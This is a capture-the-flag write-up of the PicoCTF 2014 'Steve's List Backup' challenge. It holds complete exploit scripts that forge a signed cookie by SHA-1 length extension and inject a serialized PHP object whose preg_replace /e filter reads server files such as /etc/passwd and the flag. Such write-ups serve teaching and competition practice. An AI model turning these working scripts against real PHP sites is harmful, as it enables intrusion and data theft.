PicoCTF 2014 - Steve's List Backup

What a fun challenge! We have a pwned website and we have to figure out how to pwn it as well.

Note: If you want to follow along, be sure to have php 5.4 installed. PHP 5.4 Installation

Hash Length Extension

Looking at the steves_list_backup.zip we see the following files:

$ ls
cookies.php  includes  index.php  posts  root_data.php  Steve.png  templates

The first file to note is cookies.php:

  2   if (isset($_COOKIE['custom_settings'])) {
        ...
 16     }
 17   } else {
 18     $custom_settings = array(0 => true);
 19     setcookie('custom_settings', urlencode(serialize(true)), time() + 86    400 * 30, "/");
 20     setcookie('custom_settings_hash', sha1(AUTH_SECRET . serialize(true)    ), time() + 86400 * 30, "/");
 21   }

Lines 19 and 20 show that if the cookie custom_settings isn’t set aka if it is the user’s first visit to the website, then two cookies are set: custom_settings and custom_settings_hash.

This can be verified in Google Chrome via the developer console (Right Click -> Inspect Element -> 'Console')

> document.cookie
"custom_settings=b%253A1%253B; custom_settings_hash=2141b332222df459fd212440824a35e63d37ef69"

Let’s try to run the code ourselves to see if our results match the cookie value

$ cat php_1.php 
<?php
print serialize(true);
print urlencode(serialize(true));
?>

$ php php_1.php
b:1;
b%3A1%3B

Quick note: setcookie() also does a urlencode, which is why we see a slightly different answer in our cookie. However, this is the correct value

Line 5 of the same file is of key importance to us.

  4     $custom_settings = urldecode($_COOKIE['custom_settings']);
  5     $hash = sha1(AUTH_SECRET . $custom_settings);
  6     if ($hash !== $_COOKIE['custom_settings_hash']) {
  7       die("Why would you hack Section Chief Steve's site? :(");
  8     }

Ah! So we are taking the cookie value in custom_settings, prepending the AUTH_SECRET and performing a sha1 hash. This screams to us, LENGTH EXTENSION ATTACK. For more details on this technique, click here.

Essentially, if we know the input data, the resulting hash, and the hash type, we can append malicious code to the initial data and receive a hash that will pass the given test. To do the hash calculation, we will utilize hlextend.

To prove this, let’s test hlextend.

import hlextend
import requests
import subprocess

def php_urlencode(s):
    '''Return php urlencoded string'''
    print "ENCODE: " + s
    s = s.replace("\x00", "\0")
    encode_php = "<?php $text = <<<EOD\n{}\nEOD;\necho urlencode($text);\n?>".format(s)

    with open('encode_me.php', 'w') as f:
        f.write(encode_php)

    output = subprocess.check_output('php encode_me.php', shell=True)
    return output

url = 'http://steveslist.picoctf.com'
original_hash = '2141b332222df459fd212440824a35e63d37ef69'
original_data = 'b:1;'
appended_data = 'pwned'
key_length = 8

# Get our new hash for our new data
sha = hlextend.new('sha1')
cookie = sha.extend(appended_data, original_data, key_length, original_hash)
cookie_hash = sha.hexdigest()

# Send a request with our new cookie to verify our method works
output = php_urlencode(cookie)
cookies = {'custom_settings_hash': cookie_hash,
           'custom_settings': output}
print requests.get(url, cookies=cookies).text

In short, we appended “pwned” to the original data of “b:1;”, ran the new data through hlextend.py to receive our new hash, then requested the web page with our new cookie.

$ python hlextend_test.py
<html>
  <head>
    <title>Steve's List</title>
    <link rel="stylesheet" href="http://maxcdn.bootstrapcdn.com/bootstrap/3.2.0/css/bootstrap.min.css" />
    <link rel="stylesheet" href="steves_list.css" />
    <script src="javascript" src="http://maxcdn.bootstrapcdn.com/bootstrap/3.2.0/js/bootstrap.min.js"></script>
  ...
  
  ...
<!-- POST 0wn3d by D43d4lu5 C0rp: OWNED OWNED OWNED OWNED OWNED OWNED SECTION CHIEF STEVE IS THE WORST<br><img src='./daedalus.png'><br><script>alert(1);</script><marquee>rekt</marquee><br><br><blink>we changed your secret</blink><br><br><marquee><blink>bet you'll never get control of this site back</blink></marquee><br><blink>look at this top quality tag we added</blink> --><!-- POST I'm Section Chief Steve: I'm the best.<br>The very best.<br><img src='./Steve.png'> -->

Because we see the HTML for the home page, we know that our cookie creation worked. Winning!

Now, what can we do with this new cookie creation?

Unserialize object creation

Let’s take a quick look at the classes.php file:

...
  class Post {
    protected $title;
    protected $text;
    protected $filters;
    function __construct($title, $text, $filters) {
      $this->title = $title;
      $this->text = $text;
      $this->filters = $filters;
    }

    function get_title() {
      return htmlspecialchars($this->title);
    }

    function display_post() {
      $text = htmlspecialchars($this->text);
      foreach ($this->filters as $filter)
        $text = $filter->filter($text);
      return $text;
    }

    function __destruct() {
      // debugging stuff
      $s = "<!-- POST " . htmlspecialchars($this->title);
      $text = htmlspecialchars($this->text);
      foreach ($this->filters as $filter)
        $text = $filter->filter($text);
      $s = $s . ": " . $text;
      $s = $s . " -->";
      echo $s;
    }
  };
...
?>

We have a Post class that contains the title of a post, the text of a post, and filters on a post to essentially write markdown-style data without having to worry about html tags (or at least that was the intended purpose ;-)

There is a hint in the destructor of // debugging stuff. Typically, this means something interesting is approaching.

When called, the destructor calls each filter in the Post’s filters on the text of the Post. Let’s take a closer look at what the filter does in classes.php.

<?php
  class Filter {
    protected $pattern;
    protected $repl;
    function __construct($pattern, $repl) {
      $this->pattern = $pattern;
      $this->repl = $repl;
    }
    function filter($data) {
      return preg_replace($this->pattern, $this->repl, $data);
    }
  };

Ah ha! Good ole preg_replace. This function replaces the match of the regex pattern in data with repl. Here is the given example in the code:

new Filter("/\[i\](.*)\[\/i\]/i", "<i>\\1</i>")

Applying this filter will do the following:

Before

[i] Words words words [/i]

After

<i> Words words words </i>

There is a fun feature with preg_replace that we can exploit here. In our regex pattern if we include the e flag, then the regex match will be replaced with the result of executable code aka a function, such as our old friends file_get_contents or system.

Let’s make a filter that will utilize this “feature”.

$filter = [new Filter('/^(.*)/e', 'file_get_contents(\'/etc/passwd\')')];

This filter will replace everything in the text attribute of a Post with the contents of /etc/passwd/.

Now that we have a malicious filter, let’s create a Post and test our hypothesis of calling a custom filter from the destructor.

$ cat phpscript.php
<?php
require_once('steves_list_backup/includes/classes.php');
$filter = [new Filter('/^(.*)/e', 'file_get_contents(\'/etc/passwd\')')];

$text = "file_get_contents";
$text = htmlspecialchars($text);

$title = "yay_flag";
$title = htmlspecialchars($title);

$post = new Post($title, $text, $filter);
?>

$ php phpscript.php 

<!-- POST yay_flag: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
...
obo:x:1003:1003::/home/obo:/bin/bash

Bingo! Now we have a working malicious Post. What can we do with this?

Putting it all together

Let’s go back to cookies.php in order to see where our custom Post can be used.

  6     if ($hash !== $_COOKIE['custom_settings_hash']) {
  7       die("Why would you hack Section Chief Steve's site? :(");
  8     }
  9     // we only support one setting for now, but we might as well put this in.
 10     $settings_array = explode("\n", $custom_settings);
 11     $custom_settings = array();
 12     for ($i = 0; $i < count($settings_array); $i++) {
 13       $setting = $settings_array[$i];
 14       $setting = unserialize($setting);
 15       $custom_settings[] = $setting;
 16     }

After the hash passes its check, the decoded cookie is split on ‘\n’. For each value in the resulting array, it is unserialized and appended to the $custom_settings array. The fun feature of unserialize() deals with objects. Once an object is unserialized, it is essentially instantiated. Which means that when it goes out of scope, its destructor gets called.

With this knowledge, our work flow is below:

  • Create a Post class with a malicious filter that will file_get_contents a file (or instance the flag)
  • Serialize the object
  • Append the serialized object to the initial cookie data, being sure to seperate the object with a ‘\n’
  • Rehash the new data to pass the hash check
  • Watch the delicious flag fly our way

Below is the final product:

$ cat win.py
import subprocess
import urllib
from pwn import *
import commands
import sys
import hlextend
import urllib2
import cookielib
import requests
import subprocess

def php_urlencode(s):
    '''Return php urlencoded string'''
    print "ENCODE: " + s
    s = s.replace("\x00", "\0")
    encode_php = "<?php $text = <<<EOD\n{}\nEOD;\necho urlencode($text);\n?>".format(s)

    with open('encode_me.php', 'w') as f:
        f.write(encode_php)

    output = subprocess.check_output('php encode_me.php', shell=True)
    return output

url = 'http://steveslist.picoctf.com'
flag_file = '/home/daedalus/flag.txt'
php_script = """
<?php
require_once('steves_list_backup/includes/classes.php');
$filter = [new Filter('/^(.*)/e', 'file_get_contents(\\\'{}\\\')')];

$text = "file_get_contents";
$text = htmlspecialchars($text);

$title = "yay_flag";
$title = htmlspecialchars($title);

$post = new Post($title, $text, $filter);

$post_ser = serialize($post);

$ser = $post_ser;
echo $ser;
?>
""".format(flag_file)

with open('phpscript.php', 'w') as f:
    f.write(php_script)

php_output = subprocess.check_output('php phpscript.php', shell=True, stderr=subprocess.STDOUT)
php_output = php_output.split('<')[0].split('\n')[1]

original_hash = '2141b332222df459fd212440824a35e63d37ef69'
original_data = 'b:1;'
# '\x0a' is our new line delimiter
appended_data = '\x0a' + php_output
key_length = 8

sha = hlextend.new('sha1')
cookie = sha.extend(appended_data, original_data, key_length, original_hash)
cookie_hash = sha.hexdigest()

output = php_urlencode(cookie)
cookies = {'custom_settings_hash': cookie_hash,
           'custom_settings': output}
results = requests.get(url, cookies=cookies).text
print [line for line in results.split('\n') if 'yay_flag' in line]

And we get our flag:

$ python win2.py 
[u'<!-- POST yay_flag: D43d4lu5_w45_h3r3_w1th_s3rialization_chief_steve']

Final Exploit

import subprocess
import urllib
import commands
import sys
import hlextend
import urllib2
import cookielib
import requests
import subprocess

def php_urlencode(s):
    '''Return php urlencoded string'''
    s = s.replace("\x00", "\0")
    encode_php = "<?php $text = <<<EOD\n{}\nEOD;\necho urlencode($text);\n?>".format(s)

    with open('encode_me.php', 'w') as f:
        f.write(encode_php)

    output = subprocess.check_output('php encode_me.php', shell=True)
    return output

url = 'http://steveslist.picoctf.com'
flag_file = '/home/daedalus/flag.txt'
php_script = """
<?php
require_once('steves_list_backup/includes/classes.php');
$filter = [new Filter('/^(.*)/e', 'file_get_contents(\\\'{}\\\')')];

$text = "file_get_contents";
$text = htmlspecialchars($text);

$title = "yay_flag";
$title = htmlspecialchars($title);

$post = new Post($title, $text, $filter);

$post_ser = serialize($post);

$ser = $post_ser;
echo $ser;
?>
""".format(flag_file)

with open('phpscript.php', 'w') as f:
    f.write(php_script)

php_output = subprocess.check_output('php phpscript.php', shell=True, stderr=subprocess.STDOUT)
php_output = php_output.split('<')[0].split('\n')[1]

original_hash = '2141b332222df459fd212440824a35e63d37ef69'
original_data = 'b:1;'
# '\x0a' is our new line delimiter
appended_data = '\x0a' + php_output
key_length = 8

sha = hlextend.new('sha1')
cookie = sha.extend(appended_data, original_data, key_length, original_hash)
cookie_hash = sha.hexdigest()

output = php_urlencode(cookie)
cookies = {'custom_settings_hash': cookie_hash,
           'custom_settings': output}
results = requests.get(url, cookies=cookies).text
print [line for line in results.split('\n') if 'yay_flag' in line]
For relevant code for this writeup:
git clone https://github.com/ctfhacker/ctf-writeups